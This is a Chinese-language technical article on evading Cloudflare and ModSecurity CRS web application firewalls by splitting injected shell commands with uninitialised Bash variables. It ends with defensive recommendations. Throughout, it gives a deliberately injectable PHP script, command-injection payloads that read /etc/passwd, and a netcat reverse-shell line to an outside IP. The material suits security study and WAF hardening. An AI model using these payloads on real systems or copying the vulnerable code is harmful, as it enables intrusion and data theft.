Web应用程序防火墙(WAF)bypass技术(三)
字数 1238 2025-08-18 11:37:53
Web应用程序防火墙(WAF)绕过技术:利用未初始化的Bash变量
技术概述
本文介绍了一种利用未初始化的Bash变量来绕过基于正则表达式过滤器和模式匹配的Web应用程序防火墙(WAF)的技术。该技术通过在命令中插入未初始化的变量,将单一命令分解为看似无害的片段,从而规避WAF的检测规则。
核心原理
未初始化的Bash变量特性
在Bash中,未初始化的变量具有以下特性:
- 未初始化的变量具有null值(根本没有值)
- Bash默认将未初始化的变量视为空字符串
- 这些变量可以在参数内使用,甚至可以执行与未初始化变量连接的命令
示例:
echo "uninitialized_variable=$uninitialized_variable"
等同于:
uninitialized_variable=
命令构造方法
通过将命令分解并在各部分之间插入未初始化的变量,可以构造出对WAF不可识别但对Bash有效的命令。
例如,要执行cat /etc/passwd,可以使用:
cat$u /etc$u/passwd$u
其中$u是未初始化的变量,Bash会将其视为空字符串,实际执行的命令仍然是cat /etc/passwd。
实际绕过案例
CloudFlare WAF绕过
测试环境:
- 简单的PHP脚本:
<?php
if(isset($_GET['host'])) {
system('dig '.$_GET['host']);
}
正常攻击尝试:
/?host=www.google.com;cat+/etc/passwd
→ 被CloudFlare WAF阻止
绕过技术:
/?host=www.google.com;cat$u+/etc$u/passwd$u
→ 成功绕过,泄露/etc/passwd文件内容
反弹shell绕过:
nc$u -e /bin$u/bash$u 1.2.3.4 1337
→ 成功绕过CloudFlare的netcat检测规则
ModSecurity OWASP CRS3.1绕过
防护等级3下的测试:
初始尝试:
/?host=www.google.it;cat+/etc/passwd
→ 被规则932100 "Unix命令注入"阻止
第一次绕过尝试:
?host=www.google.it ;+$u+cat+/etc/passwd
→ 绕过规则932100,但因"etc/passwd"字符串被阻止
成功绕过:
?host=www.google.it ;+$u+cat+/etc$u/passwd$u
→ 成功执行命令
带引号的更安全脚本测试:
<?php
if(isset($_GET['host'])) {
system('dig "'.$_GET['host'].'"');
}
绕过尝试:
/?host=www.google.it";cat+/etc/passwd+#
→ 在CloudFlare上成功,但在CRS3防护等级3下被以下规则阻止:
- 规则942460 "元字符异常检测警报 - 重复非字字符"
- 规则942260 "检测到数量达到2/3的基本SQL身份验证绕过"
防护等级2下的成功绕过:
/?host=www.google.it";+$u+cat+/etc$u/passwd+\#
防御建议
-
输入验证:
- 严格验证所有用户输入,使用白名单方法
- 对于dig命令,只允许有效的域名字符
-
命令执行安全:
- 避免直接使用用户输入拼接系统命令
- 使用escapeshellarg()等函数对参数进行转义
-
WAF规则优化:
- 监控异常多的非单词字符出现
- 结合多个规则进行综合判断,而非单一规则检测
- 考虑命令的语义而不仅是语法模式
-
日志分析:
- 记录所有被阻止的请求
- 分析攻击模式,持续更新防护规则
技术限制
- 在OWASP CRS3.1的高防护等级(3-4)下,这种技术更难成功
- 需要目标系统使用Bash作为命令解释器
- 对经过严格输入验证和参数化查询的系统无效
总结
未初始化的Bash变量技术展示了WAF仅依赖模式匹配的局限性。有效的防御需要多层安全措施,包括严格的输入验证、安全的编程实践和智能的WAF规则组合。OWASP CRS3采用的非单词字符重复检测等方法比简单的字符黑名单更为有效,减少了误报同时提高了安全性。